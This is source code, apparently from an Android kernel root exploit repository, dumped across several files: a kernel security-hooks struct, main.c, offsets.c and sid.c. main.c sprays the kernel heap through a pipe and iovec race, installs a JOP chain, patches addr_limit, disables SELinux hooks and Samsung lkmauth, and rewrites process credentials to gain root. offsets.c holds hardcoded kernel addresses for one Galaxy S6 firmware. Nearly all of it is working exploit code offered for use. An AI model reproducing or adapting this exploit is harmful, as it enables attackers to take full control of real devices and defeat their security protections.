(*file_send_sigiotask) (void*tsk, 247 | void*fown, int sig); 248 | int (*file_receive) (void*file); 249 | int (*file_open) (void*file, const void*cred); 250 | 251 | int (*task_create) (unsigned long clone_flags); 252 | void (*task_free) (void*task); 253 | int (*cred_alloc_blank) (void*cred, int gfp); 254 | void (*cred_free) (void*cred); 255 | int (*cred_prepare)(void*new, const void*old, 256 | int gfp); 257 | void (*cred_transfer)(void*new, const void*old); 258 | int (*kernel_act_as)(void*new, u32 secid); 259 | int (*kernel_create_files_as)(void*new, void*inode); 260 | int (*kernel_module_request)(char *kmod_name); 261 | int (*kernel_module_from_file)(void*file); 262 | int (*task_fix_setuid) (void*new, const void*old, 263 | int flags); 264 | int (*task_setpgid) (void*p, pid_t pgid); 265 | int (*task_getpgid) (void*p); 266 | int (*task_getsid) (void*p); 267 | void (*task_getsecid) (void*p, u32 *secid); 268 | int (*task_setnice) (void*p, int nice); 269 | int (*task_setioprio) (void*p, int ioprio); 270 | int (*task_getioprio) (void*p); 271 | int (*task_setrlimit) (void*p, unsigned int resource, 272 | void*new_rlim); 273 | int (*task_setscheduler) (void*p); 274 | int (*task_getscheduler) (void*p); 275 | int (*task_movememory) (void*p); 276 | int (*task_kill) (void*p, 277 | void*info, int sig, u32 secid); 278 | int (*task_wait) (void*p); 279 | int (*task_prctl) (int option, unsigned long arg2, 280 | unsigned long arg3, unsigned long arg4, 281 | unsigned long arg5); 282 | void (*task_to_inode) (void*p, void*inode); 283 | 284 | int (*ipc_permission) (void*ipcp, short flag); 285 | void (*ipc_getsecid) (void*ipcp, u32 *secid); 286 | 287 | int (*msg_msg_alloc_security) (void*msg); 288 | void (*msg_msg_free_security) (void*msg); 289 | 290 | int (*msg_queue_alloc_security) (void*msq); 291 | void (*msg_queue_free_security) (void*msq); 292 | int (*msg_queue_associate) (void*msq, int msqflg); 293 | int (*msg_queue_msgctl) (void*msq, int cmd); 294 | int (*msg_queue_msgsnd) (void*msq, 295 | void*msg, int msqflg); 296 | int (*msg_queue_msgrcv) (void*msq, 297 | void*msg, 298 | void*target, 299 | long type, int mode); 300 | 301 | int (*shm_alloc_security) (void*shp); 302 | void (*shm_free_security) (void*shp); 303 | int (*shm_associate) (void*shp, int shmflg); 304 | int (*shm_shmctl) (void*shp, int cmd); 305 | int (*shm_shmat) (void*shp, 306 | char __user *shmaddr, int shmflg); 307 | 308 | int (*sem_alloc_security) (void*sma); 309 | void (*sem_free_security) (void*sma); 310 | int (*sem_associate) (void*sma, int semflg); 311 | int (*sem_semctl) (void*sma, int cmd); 312 | int (*sem_semop) (void*sma, 313 | void*sops, unsigned nsops, int alter); 314 | 315 | int (*netlink_send) (void*sk, void*skb); 316 | 317 | void (*d_instantiate) (void*dentry, void*inode); 318 | 319 | int (*getprocattr) (void*p, char *name, char **value); 320 | int (*setprocattr) (void*p, char *name, void *value, size_t size); 321 | int (*secid_to_secctx) (u32 secid, char **secdata, u32 *seclen); 322 | int (*secctx_to_secid) (const char *secdata, u32 seclen, u32 *secid); 323 | void (*release_secctx) (char *secdata, u32 seclen); 324 | 325 | int (*inode_notifysecctx)(void*inode, void *ctx, u32 ctxlen); 326 | int (*inode_setsecctx)(void*dentry, void *ctx, u32 ctxlen); 327 | int (*inode_getsecctx)(void*inode, void **ctx, u32 *ctxlen); 328 | 329 | #define CONFIG_SECURITY_NETWORK 330 | #ifdef CONFIG_SECURITY_NETWORK 331 | int (*unix_stream_connect) (void*sock, void*other, void*newsk); 332 | int (*unix_may_send) (void*sock, void*other); 333 | 334 | int (*socket_create) (int family, int type, int protocol, int kern); 335 | int (*socket_post_create) (void*sock, int family, 336 | int type, int protocol, int kern); 337 | int (*socket_bind) (void*sock, 338 | void*address, int addrlen); 339 | int (*socket_connect) (void*sock, 340 | void*address, int addrlen); 341 | int (*socket_listen) (void*sock, int backlog); 342 | int (*socket_accept) (void*sock, void*newsock); 343 | int (*socket_sendmsg) (void*sock, 344 | void*msg, int size); 345 | int (*socket_recvmsg) (void*sock, 346 | void*msg, int size, int flags); 347 | int (*socket_getsockname) (void*sock); 348 | int (*socket_getpeername) (void*sock); 349 | int (*socket_getsockopt) (void*sock, int level, int optname); 350 | int (*socket_setsockopt) (void*sock, int level, int optname); 351 | int (*socket_shutdown) (void*sock, int how); 352 | int (*socket_sock_rcv_skb) (void*sk, void*skb); 353 | int (*socket_getpeersec_stream) (void*sock, char __user *optval, int __user *optlen, unsigned len); 354 | int (*socket_getpeersec_dgram) (void*sock, void*skb, u32 *secid); 355 | int (*sk_alloc_security) (void*sk, int family, int priority); 356 | void (*sk_free_security) (void*sk); 357 | void (*sk_clone_security) (const void*sk, void*newsk); 358 | void (*sk_getsecid) (void*sk, u32 *secid); 359 | void (*sock_graft) (void*sk, void*parent); 360 | int (*inet_conn_request) (void*sk, void*skb, 361 | void*req); 362 | void (*inet_csk_clone) (void*newsk, const void*req); 363 | void (*inet_conn_established) (void*sk, void*skb); 364 | int (*secmark_relabel_packet) (u32 secid); 365 | void (*secmark_refcount_inc) (void); 366 | void (*secmark_refcount_dec) (void); 367 | void (*req_classify_flow) (const void*req, void*fl); 368 | int (*tun_dev_alloc_security) (void **security); 369 | void (*tun_dev_free_security) (void *security); 370 | int (*tun_dev_create) (void); 371 | int (*tun_dev_attach_queue) (void *security); 372 | int (*tun_dev_attach) (void*sk, void *security); 373 | int (*tun_dev_open) (void *security); 374 | void (*skb_owned_by) (void*skb, void*sk); 375 | #endif /* CONFIG_SECURITY_NETWORK */ 376 | 377 | #ifdef CONFIG_SECURITY_NETWORK_XFRM 378 | int (*xfrm_policy_alloc_security) (void**ctxp, 379 | void*sec_ctx); 380 | int (*xfrm_policy_clone_security) (void*old_ctx, void**new_ctx); 381 | void (*xfrm_policy_free_security) (void*ctx); 382 | int (*xfrm_policy_delete_security) (void*ctx); 383 | int (*xfrm_state_alloc_security) (void*x, 384 | void*sec_ctx, 385 | u32 secid); 386 | void (*xfrm_state_free_security) (void*x); 387 | int (*xfrm_state_delete_security) (void*x); 388 | int (*xfrm_policy_lookup) (void*ctx, u32 fl_secid, u8 dir); 389 | int (*xfrm_state_pol_flow_match) (void*x, 390 | void*xp, 391 | const void*fl); 392 | int (*xfrm_decode_session) (void*skb, u32 *secid, int ckall); 393 | #endif /* CONFIG_SECURITY_NETWORK_XFRM */ 394 | 395 | /* key management security hooks */ 396 | #define CONFIG_KEYS 397 | #ifdef CONFIG_KEYS 398 | int (*key_alloc) (void*key, const void*cred, unsigned long flags); 399 | void (*key_free) (void*key); 400 | int (*key_permission) (int key_ref, 401 | const void*cred, 402 | int perm); 403 | int (*key_getsecurity)(void*key, char **_buffer); 404 | #endif /* CONFIG_KEYS */ 405 | 406 | #define CONFIG_AUDIT 407 | #ifdef CONFIG_AUDIT 408 | int (*audit_rule_init) (u32 field, u32 op, char *rulestr, void **lsmrule); 409 | int (*audit_rule_known) (void*krule); 410 | int (*audit_rule_match) (u32 secid, u32 field, u32 op, void *lsmrule, 411 | void*actx); 412 | void (*audit_rule_free) (void *lsmrule); 413 | #endif /* CONFIG_AUDIT */ 414 | }; 415 | 416 | #endif /* THREADINFO_H */ 417 | -------------------------------------------------------------------------------- /jni/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #include "getroot.h" 17 | #include "sidtab.h" 18 | #include "policydb.h" 19 | #include "offsets.h" 20 | 21 | #define UDP_SERVER_PORT (5105) 22 | #define MEMMAGIC (0xDEADBEEF) 23 | //pipe buffers are seperated in pages 24 | #define PIPESZ (4096 * 32) 25 | #define IOVECS (512) 26 | #define SENDTHREADS (1000) 27 | 28 | static int kill_switch = 0; 29 | static int stop_send = 0; 30 | static int pipefd[2]; 31 | static struct iovec iovs[IOVECS]; 32 | static struct iovec sendiovs[IOVECS]; 33 | static unsigned long overflowcheck = MEMMAGIC; 34 | 35 | static void* readpipe(void* param) 36 | { 37 | while(!kill_switch) 38 | { 39 | readv((int)((long)param), iovs, ((IOVECS / 2) + 1)); 40 | } 41 | 42 | pthread_exit(NULL); 43 | } 44 | 45 | static int startreadpipe() 46 | { 47 | int ret; 48 | pthread_t rthread; 49 | 50 | printf(" [+] Start read thread\n"); 51 | if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0]))) 52 | perror("read pthread_create()"); 53 | 54 | return ret; 55 | } 56 | 57 | static char wbuf[4096]; 58 | static void* writepipe(void* param) 59 | { 60 | while(!kill_switch) 61 | { 62 | if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf)) 63 | perror("write()"); 64 | } 65 | 66 | pthread_exit(NULL); 67 | } 68 | 69 | static int startwritepipe(long targetval) 70 | { 71 | int ret; 72 | unsigned int i; 73 | pthread_t wthread; 74 | 75 | printf(" [+] Start write thread\n"); 76 | 77 | for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++) 78 | ((long*)wbuf)[i] = targetval; 79 | if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1]))) 80 | perror("write pthread_create()"); 81 | 82 | return ret; 83 | } 84 | 85 | static void* writemsg(void* param) 86 | { 87 | int sockfd; 88 | struct mmsghdr msg = {{ 0 }, 0 }; 89 | struct sockaddr_in soaddr = { 0 }; 90 | 91 | (void)param; /* UNUSED */ 92 | soaddr.sin_family = AF_INET; 93 | soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 94 | soaddr.sin_port = htons(UDP_SERVER_PORT); 95 | 96 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 97 | if (sockfd == -1) 98 | { 99 | perror("socket client failed"); 100 | pthread_exit((void*)-1); 101 | } 102 | 103 | if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1) 104 | { 105 | perror("connect failed"); 106 | pthread_exit((void*)-1); 107 | } 108 | 109 | msg.msg_hdr.msg_iov = sendiovs; 110 | msg.msg_hdr.msg_iovlen = IOVECS; 111 | msg.msg_hdr.msg_control = sendiovs; 112 | msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec)); 113 | 114 | while(!stop_send) 115 | { 116 | sendmmsg(sockfd, &msg, 1, 0); 117 | } 118 | 119 | close(sockfd); 120 | pthread_exit(NULL); 121 | } 122 | 123 | static int heapspray(long* target) 124 | { 125 | unsigned int i; 126 | void* retval; 127 | pthread_t msgthreads[SENDTHREADS]; 128 | 129 | printf(" [+] Spraying kernel heap\n"); 130 | for(i = 0; i < IOVECS; i++) 131 | { 132 | sendiovs[i].iov_base = MMAP_START; 133 | sendiovs[i].iov_len = MMAP_SIZE; 134 | } 135 | 136 | sendiovs[(IOVECS / 2) + 1].iov_base = &overflowcheck; 137 | sendiovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck); 138 | sendiovs[(IOVECS / 2) + 2].iov_base = target; 139 | sendiovs[(IOVECS / 2) + 2].iov_len = sizeof(*target); 140 | 141 | for(i = 0; i < SENDTHREADS; i++) 142 | { 143 | if(pthread_create(&msgthreads[i], NULL, writemsg, NULL)) 144 | { 145 | perror("heapspray pthread_create()"); 146 | return 1; 147 | } 148 | } 149 | 150 | sleep(3); 151 | stop_send = 1; 152 | for(i = 0; i < SENDTHREADS; i++) 153 | pthread_join(msgthreads[i], &retval); 154 | stop_send = 0; 155 | 156 | return 0; 157 | } 158 | 159 | static void* mapunmap(void* param) 160 | { 161 | void* addr = MMAP_BASE(1); 162 | 163 | (void)param; /* UNUSED */ 164 | while(!kill_switch) 165 | { 166 | munmap(addr, MMAP_SIZE); 167 | if(mmap(addr, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) 168 | { 169 | perror("mmap() thread"); 170 | exit(2); 171 | } 172 | usleep(50); 173 | } 174 | 175 | pthread_exit(NULL); 176 | } 177 | 178 | static int startmapunmap() 179 | { 180 | int ret; 181 | pthread_t mapthread; 182 | 183 | printf(" [+] Start map/unmap thread\n"); 184 | if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) 185 | perror("mapunmap pthread_create()"); 186 | 187 | return ret; 188 | } 189 | 190 | static int initmappings() 191 | { 192 | unsigned int i; 193 | 194 | printf("[+] Allocating memory\n"); 195 | for(i = 0; i < IOVECS; i++) 196 | { 197 | int* addr = MMAP_BASE(i); 198 | if(mmap(addr, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) 199 | { 200 | perror("mmap()"); 201 | return 1; 202 | } 203 | 204 | memset(addr, 0, MMAP_SIZE); 205 | 206 | iovs[i].iov_base = addr; 207 | //total should be more than one pipe buf len (4096 bytes) 208 | iovs[i].iov_len = 32; 209 | } 210 | 211 | //how many bytes we can arbitrary write 212 | iovs[0].iov_len = sizeof(long) * 2; 213 | //make a total of 2 pipe bufs (8192 bytes) 214 | iovs[1].iov_len = ((8192 - iovs[0].iov_len) - (((IOVECS / 2) - 1) * 32)); 215 | 216 | return 0; 217 | } 218 | 219 | static int getpipes() 220 | { 221 | int ret; 222 | printf("[+] Getting pipes\n"); 223 | if((ret = pipe(pipefd))) 224 | { 225 | perror("pipe()"); 226 | return ret; 227 | } 228 | 229 | ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1; 230 | if(ret) 231 | perror("fcntl()"); 232 | 233 | return ret; 234 | } 235 | 236 | static int setfdlimit() 237 | { 238 | struct rlimit rlim; 239 | int ret; 240 | if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) 241 | { 242 | perror("getrlimit()"); 243 | return ret; 244 | } 245 | 246 | printf("[+] Changing fd limit from %lu to %lu\n", rlim.rlim_cur, rlim.rlim_max); 247 | rlim.rlim_cur = rlim.rlim_max; 248 | if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) 249 | perror("setrlimit()"); 250 | 251 | return ret; 252 | } 253 | 254 | static int setprocesspriority() 255 | { 256 | int ret; 257 | printf("[+] Changing process priority to highest\n"); 258 | if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) 259 | perror("setpriority()"); 260 | return ret; 261 | } 262 | 263 | static int write_at_address(void* target, unsigned long targetval) 264 | { 265 | kill_switch = 0; 266 | overflowcheck = MEMMAGIC; 267 | 268 | printf(" [+] Patching address %p\n", target); 269 | if(startmapunmap()) 270 | return 1; 271 | if(startwritepipe(targetval)) 272 | return 1; 273 | if(heapspray(target)) 274 | return 1; 275 | 276 | sleep(1); 277 | 278 | if(startreadpipe()) 279 | return 1; 280 | 281 | sleep(1); 282 | while(1) 283 | { 284 | if(overflowcheck != MEMMAGIC) 285 | { 286 | kill_switch = 1; 287 | printf(" [+] Done\n"); 288 | break; 289 | } 290 | } 291 | 292 | return 0; 293 | } 294 | 295 | int getroot(struct offsets* o) 296 | { 297 | int ret = 1; 298 | int dev; 299 | unsigned long fp; 300 | struct thread_info* ti; 301 | 302 | printf("[+] Installing JOP\n"); 303 | if(write_at_address(o->check_flags, (unsigned long)o->joploc)) 304 | return 1; 305 | 306 | sidtab = o->sidtab; 307 | policydb = o->policydb; 308 | preparejop(MMAP_START, o->jopret); 309 | if((dev = open("/dev/ptmx", O_RDWR)) < 0) 310 | return 1; 311 | 312 | fp = (unsigned)fcntl(dev, F_SETFL, MMAP_START); 313 | fp += KERNEL_START; 314 | ti = get_thread_info(fp); 315 | 316 | printf("[+] Patching addr_limit\n"); 317 | if(write_at_address(&ti->addr_limit, -1)) 318 | goto end; 319 | printf("[+] Removing JOP\n"); 320 | if(writel_at_address_pipe(o->check_flags, 0)) 321 | goto end; 322 | 323 | disable_selinux_hooks(o); 324 | printf("[+] SELinux neutered\n"); 325 | 326 | disable_lkmauth(o); 327 | printf("[+] lkmauth disabled\n"); 328 | 329 | if((ret = modify_task_cred_rkp(ti))) 330 | goto end; 331 | 332 | ret = 0; 333 | end: 334 | close(dev); 335 | return ret; 336 | } 337 | 338 | int main(void) 339 | { 340 | unsigned int i; 341 | int ret = 1; 342 | struct offsets* o; 343 | 344 | printf("iovyroot by zxz0O0\n"); 345 | printf("poc by idler1984\n\n"); 346 | printf("knoxout by mr47\n"); 347 | 348 | if (fork()) { 349 | return 0; 350 | } 351 | 352 | if (fork()) { 353 | return 0; 354 | } 355 | 356 | if(!(o = get_offsets())) 357 | return 1; 358 | if(setfdlimit()) 359 | return 1; 360 | if(setprocesspriority()) 361 | return 1; 362 | if(getpipes()) 363 | return 1; 364 | if(initmappings()) 365 | return 1; 366 | 367 | ret = getroot(o); 368 | //let the threads end 369 | sleep(1); 370 | 371 | close(pipefd[0]); 372 | close(pipefd[1]); 373 | 374 | for(i = 0; i < IOVECS; i++) 375 | munmap(MMAP_BASE(i), MMAP_SIZE); 376 | 377 | if (0 == getuid()) { 378 | printf("got root!\n"); 379 | } else { 380 | printf("failed!\n"); 381 | } 382 | 383 | return ret; 384 | } 385 | -------------------------------------------------------------------------------- /jni/offsets.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "offsets.h" 7 | 8 | #define ARRAYELEMS(a) (sizeof(a) / sizeof(a[0])) 9 | 10 | struct offsets offsets[] = { 11 | /********************* SAMSUNG **********************/ 12 | // Galaxy S6, 5.1.1, LMY47X.G920FXXU3COJ1 13 | { "SM-G920F", "Linux version 3.10.61-5917605 (dpi@SWDD6821) (gcc version 4.9 20140514 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Oct 1 14:53:17 KST 2015", 14 | /* check_flags = */ SAMSUNG_KERNEL_OFFSET(0x01590ab8), 15 | /* joploc = */ SAMSUNG_KERNEL_OFFSET(0x001ddb3c), 16 | /* jopret = */ SAMSUNG_KERNEL_OFFSET(0x000f0d98), 17 | /* sidtab = */ SAMSUNG_KERNEL_OFFSET(0x014e86d0), 18 | /* policydb = */ SAMSUNG_KERNEL_OFFSET(0x014e84d0), 19 | /* selinux_enabled = */ SAMSUNG_KERNEL_OFFSET(0x010e4098), 20 | /* selinux_enforcing = */ SAMSUNG_KERNEL_OFFSET(0x0157f02c), 21 | /* rkp_override_creds = */ SAMSUNG_KERNEL_OFFSET(0x00043558), 22 | /* prepare_kernel_cred = */ SAMSUNG_KERNEL_OFFSET(0x00043DF0), 23 | /* security_ops_prctl = */ SAMSUNG_KERNEL_OFFSET(0x010e44a0), 24 | /* cap_task_prctl = */ SAMSUNG_KERNEL_OFFSET(0x001fb9c0), 25 | /* rkp_call = */ SAMSUNG_KERNEL_OFFSET(0x0000f530), 26 | /* exynos_smc64 = */ SAMSUNG_KERNEL_OFFSET(0x002f5a7c), 27 | /* vmm_disable = */ SAMSUNG_KERNEL_OFFSET(0x00001aa0), 28 | /* security_ops = */ SAMSUNG_KERNEL_OFFSET(0x010e4190), 29 | /* security_ret_0 = */ SAMSUNG_KERNEL_OFFSET(0x001fd87c), 30 | /* security_void = */ SAMSUNG_KERNEL_OFFSET(0x001fd880), 31 | /* lkmauth_bootmode = */ SAMSUNG_KERNEL_OFFSET(0x0153c450), 32 | }, 33 | }; 34 | 35 | #define DEVNAME_LEN 64 36 | #define KERNELVER_LEN 256 37 | 38 | static char* get_devname(char* name) 39 | { 40 | FILE* f; 41 | char* line; 42 | static const char* devstr = "ro.product.model="; 43 | size_t bufsize = 1024; 44 | 45 | if(!name) 46 | return NULL; 47 | 48 | if(!(f = fopen("/system/build.prop", "r"))) 49 | { 50 | perror("fopen()"); 51 | return NULL; 52 | } 53 | 54 | line = malloc(bufsize); 55 | while(getline(&line, &bufsize, f) > 0) 56 | { 57 | if(strncmp(line, devstr, strlen(devstr)) == 0) 58 | { 59 | strncpy(name, strchr(line, '=') + 1, DEVNAME_LEN - 1); 60 | if(name[strlen(name) - 1] == '\n') 61 | name[strlen(name) - 1] = 0; 62 | goto end; 63 | } 64 | } 65 | name = NULL; 66 | 67 | end: 68 | free(line); 69 | fclose(f); 70 | return name; 71 | } 72 | 73 | static char* get_kernelver(char* str) 74 | { 75 | FILE* f; 76 | 77 | if(!str) 78 | return NULL; 79 | 80 | if(!(f = fopen("/proc/version", "r"))) 81 | { 82 | perror("fopen()"); 83 | return NULL; 84 | } 85 | 86 | if(fread(str, 1, KERNELVER_LEN - 1, f) > 0) 87 | { 88 | if(str[strlen(str) - 1] == '\n') 89 | str[strlen(str) - 1] = 0; 90 | goto end; 91 | } 92 | 93 | str = NULL; 94 | end: 95 | fclose(f); 96 | return str; 97 | } 98 | 99 | struct offsets* get_offsets() 100 | { 101 | char* devname = calloc(1, DEVNAME_LEN); 102 | char* kernelver = calloc(1, KERNELVER_LEN); 103 | unsigned int i; 104 | struct offsets* o = NULL; 105 | 106 | if(!get_devname(devname)) 107 | goto end; 108 | if(!get_kernelver(kernelver)) 109 | goto end; 110 | 111 | printf("Device Name: %s\n", devname); 112 | printf("Kernel Version: %s\n", kernelver); 113 | 114 | for(i = 0; i < ARRAYELEMS(offsets); i++) 115 | { 116 | if(strcmp(devname, offsets[i].devname)) 117 | continue; 118 | if(strcmp(kernelver, offsets[i].kernelver)) 119 | continue; 120 | o = &offsets[i]; 121 | break; 122 | } 123 | 124 | end: 125 | if(o == NULL) 126 | printf("Error: Device not supported\n"); 127 | free(devname); 128 | free(kernelver); 129 | return o; 130 | } 131 | -------------------------------------------------------------------------------- /jni/sid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "sidtab.h" 5 | #include "policydb.h" 6 | #include "getroot.h" 7 | 8 | #define __user 9 | #define __kernel 10 | 11 | static inline struct flex_array* __kernel get_types_fa() 12 | { 13 | struct flex_array* __kernel fa = NULL; 14 | struct policydb* pdb = malloc(sizeof(*pdb)); 15 | 16 | if(!policydb) 17 | goto end; 18 | 19 | if(!read_at_address_pipe(policydb, pdb, sizeof(*pdb))) 20 | fa = pdb->sym_val_to_name[SYM_TYPES]; 21 | 22 | end: 23 | free(pdb); 24 | return fa; 25 | } 26 | 27 | static void* flex_array_get_pipe(struct flex_array* __kernel fa, unsigned int element_nr) 28 | { 29 | void* ptr = NULL; 30 | struct flex_array* fla = malloc(sizeof(*fla)); 31 | if(read_at_address_pipe(fa, fla, sizeof(*fla))) 32 | goto end; 33 | 34 | if(flex_array_has_element(fla, element_nr) && !(ptr = flex_array_get_base(fla, element_nr))) 35 | { 36 | int part_nr; 37 | struct flex_array_part* __kernel part = flex_array_get_part(fla, element_nr, &part_nr); 38 | if(part) 39 | { 40 | struct flex_array_part* p = malloc(sizeof(*p)); 41 | if(!read_at_address_pipe(part, p, sizeof(*p))) 42 | ptr = flex_array_get_from_part(p, part_nr, fla, element_nr); 43 | free(p); 44 | } 45 | } 46 | 47 | end: 48 | free(fla); 49 | return ptr; 50 | } 51 | 52 | static inline int cmpsidstr(char* __user usrname, char* __kernel krnlname) 53 | { 54 | int ret = 1; 55 | char* usrbuf = malloc(128); 56 | if(read_at_address_pipe(krnlname, usrbuf, 128)) 57 | goto end; 58 | usrbuf[127] = 0; 59 | 60 | ret = strcmp(usrname, usrbuf); 61 | 62 | end: 63 | free(usrbuf); 64 | return ret; 65 | } 66 | 67 | int get_sid(char* sidname) 68 | { 69 | unsigned int curnel = 0; 70 | unsigned int sid = 0; 71 | struct flex_array* __kernel fa = get_types_fa(); 72 | struct sidtab_node* htable[SIDTAB_SIZE]; 73 | struct sidtab st; 74 | 75 | if(!fa || !sidtab) 76 | return 0; 77 | 78 | if(read_at_address_pipe(sidtab, &st, sizeof(st))) 79 | return 0; 80 | 81 | if(read_at_address_pipe(st.htable, &htable, sizeof(htable))) 82 | return 0; 83 | 84 | { 85 | unsigned int i; 86 | struct sidtab_node* __kernel next; 87 | struct sidtab_node* sn = malloc(sizeof(*sn)); 88 | for(i = 0; i < SIDTAB_SIZE; i++) 89 | { 90 | if(curnel >= st.nel) 91 | break; 92 | if(!htable[i]) 93 | continue; 94 | 95 | next = htable[i]; 96 | do 97 | { 98 | if(read_at_address_pipe(next, sn, sizeof(*sn))) 99 | goto breakfor; 100 | 101 | char** name = flex_array_get_pipe(fa, sn->context.type - 1); 102 | //this should be a userpointer to a kernel pointer 103 | if(name) 104 | { 105 | if(cmpsidstr(sidname, *name) == 0) 106 | { 107 | sid = sn->sid; 108 | goto breakfor; 109 | } 110 | } 111 | curnel++; 112 | } while((next = sn->next) && (next != htable[i])); 113 | } 114 | breakfor: 115 | free(sn); 116 | } 117 | 118 | return sid; 119 | } 120 | --------------------------------------------------------------------------------